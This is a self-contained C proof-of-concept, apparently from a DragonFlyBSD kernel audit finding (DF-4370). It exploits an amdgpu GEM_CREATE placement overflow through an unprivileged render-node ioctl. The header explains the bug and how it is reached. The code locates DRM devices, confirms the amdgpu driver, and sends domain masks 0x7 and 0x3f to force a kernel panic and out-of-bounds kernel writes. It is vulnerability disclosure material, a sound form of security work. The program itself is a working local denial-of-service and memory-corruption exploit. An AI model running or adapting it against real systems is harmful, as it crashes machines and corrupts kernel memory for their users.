⬢ DragonFlyBSD Kernel Audit
DF-4370 / poc_df4370.c
← back to finding ↓ download raw
/*
 * DF-4370 PoC — amdgpu GEM_CREATE multi-domain placement overflow
 *
 * Bug: sys/dev/drm/amd/amdgpu/amdgpu_object.c:139-209
 *   amdgpu_bo_placement_from_domain() appends one struct ttm_place per set
 *   domain bit into abo->placements[AMDGPU_BO_MAX_PLACEMENTS] where
 *   AMDGPU_BO_MAX_PLACEMENTS == 3 (amdgpu_object.h:35).  There are six
 *   possible domain bits (VRAM|GTT|CPU|GDS|GWS|OA = 0x3f).  The bound check
 *   BUG_ON(c >= 3) runs only AFTER the loop body has already stored
 *   places[c]:
 *
 *     - domains = VRAM|GTT|CPU (0x7): c reaches 3 -> three in-bounds writes,
 *       then BUG_ON(3 >= 3) fires  ->  panic("BUG in ...") = local DoS.
 *     - domains = 0x3f: c reaches 6 -> places[3..5] are written OUT OF
 *       BOUNDS (12..36 bytes of constant data over struct amdgpu_bo.placement
 *       / .tbo), then the BUG_ON panics.
 *
 * Reachability (unprivileged):
 *   amdgpu_gem_create_ioctl  (amdgpu_kms.c:1197: DRM_AUTH|DRM_RENDER_ALLOW)
 *   -> validates domains only against AMDGPU_GEM_DOMAIN_MASK = 0x3f
 *      (amdgpu_gem.c:233)
 *   -> amdgpu_gem_object_create -> amdgpu_bo_create -> amdgpu_bo_do_create
 *   -> amdgpu_bo_placement_from_domain(bo, 0x7 / 0x3f)   [amdgpu_object.c:493]
 *
 * This program is self-contained (no DRM headers needed): it finds a DRM
 * render/card node, verifies the driver is "amdgpu" via DRM_IOCTL_VERSION,
 * then issues AMDGPU_GEM_CREATE with domains=0x7, and (if the kernel
 * survived) with domains=0x3f.
 *
 * On a VULNERABLE amdgpu system: first ioctl -> immediate kernel panic
 * ("BUG in amdgpu_bo_placement_from_domain at amdgpu_object.c:209").
 * On a FIXED kernel: ioctl returns an error or a handle; program exits 0.
 * On a machine without amdgpu: prints NO_AMDGPU and exits 3.
 * On a machine without any DRM node: prints NO_DRM_DEVICES and exits 2.
 */
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

#define DRM_IOCTL_VERSION _IOWR(0x64, 0x00, struct poc_drm_version)
struct poc_drm_version {
	int    version_major;
	int    version_minor;
	int    version_patch;
	size_t name_len;
	char  *name;
	size_t date_len;
	char  *date;
	size_t desc_len;
	char  *desc;
};

/* DRM_COMMAND_BASE + AMDGPU_GEM_CREATE(0x00); union drm_amdgpu_gem_create is 32 bytes */
#define AMDGPU_IOC_GEM_CREATE _IOWR(0x40, 0x00, uint64_t[4])

struct poc_gem_create_in {
	uint64_t bo_size;
	uint64_t alignment;
	uint64_t domains;
	uint64_t domain_flags;
};

static int try_device(const char *path)
{
	struct poc_drm_version v;
	char name[64];
	int fd, r;
	union {
		struct poc_gem_create_in in;
		struct { uint32_t handle; uint32_t pad; } out;
	} args;

	fd = open(path, O_RDWR | O_CLOEXEC);
	if (fd < 0)
		return -1;

	memset(&v, 0, sizeof(v));
	memset(name, 0, sizeof(name));
	v.name = name;
	v.name_len = sizeof(name) - 1;
	r = ioctl(fd, DRM_IOCTL_VERSION, &v);
	if (r != 0) {
		close(fd);
		return -1;
	}
	if (strcmp(name, "amdgpu") != 0) {
		printf("[!] %s: driver \"%s\" != amdgpu, skipping\n", path, name);
		close(fd);
		return 0;
	}
	printf("[+] %s: driver amdgpu v%d.%d.%d -- firing\n",
	       path, v.version_major, v.version_minor, v.version_patch);

	/* Variant A: VRAM|GTT|CPU -> c == 3 -> BUG_ON(3 >= 3) -> panic */
	memset(&args, 0, sizeof(args));
	args.in.bo_size   = 0x1000;
	args.in.alignment = 0x1000;
	args.in.domains   = 0x4 | 0x2 | 0x1;	/* VRAM|GTT|CPU */
	r = ioctl(fd, AMDGPU_IOC_GEM_CREATE, &args);
	printf("[*] domains=0x7 (VRAM|GTT|CPU): ret=%d errno=%d handle=0x%x\n",
	       r, errno, args.out.handle);
	if (r == 0) {
		printf("[!] kernel SURVIVED variant A (not vulnerable / fixed)\n");
	} else {
		printf("[!] kernel returned an error for variant A (fixed / rejected)\n");
	}

	/* Variant B: VRAM|GTT|CPU|GDS|GWS|OA -> c == 6 -> 3 OOB writes + panic */
	memset(&args, 0, sizeof(args));
	args.in.bo_size   = 0x4;			/* GDS must be DW aligned */
	args.in.alignment = 0x1000;
	args.in.domains   = 0x3f;
	r = ioctl(fd, AMDGPU_IOC_GEM_CREATE, &args);
	printf("[*] domains=0x3f (all six): ret=%d errno=%d handle=0x%x\n",
	       r, errno, args.out.handle);
	printf("[!] kernel SURVIVED variant B (not vulnerable / fixed)\n");

	close(fd);
	return 1;
}

int main(void)
{
	static const char *render[] = {
		"/dev/dri/renderD128", "/dev/dri/renderD129", "/dev/dri/renderD130",
		NULL
	};
	static const char *cards[] = {
		"/dev/dri/card0", "/dev/dri/card1", "/dev/dri/card2", NULL
	};
	int i, hit = 0, any = 0;

	for (i = 0; render[i]; i++) {
		int r = try_device(render[i]);
		if (r == 1) { hit = 1; break; }
		if (r == 0) any = 1;
	}
	if (!hit)
		for (i = 0; cards[i]; i++) {
			int r = try_device(cards[i]);
			if (r == 1) { hit = 1; break; }
			if (r == 0) any = 1;
		}

	if (hit)
		return 0;
	if (any) {
		printf("NO_AMDGPU\n");
		return 3;
	}
	printf("NO_DRM_DEVICES\n");
	return 2;
}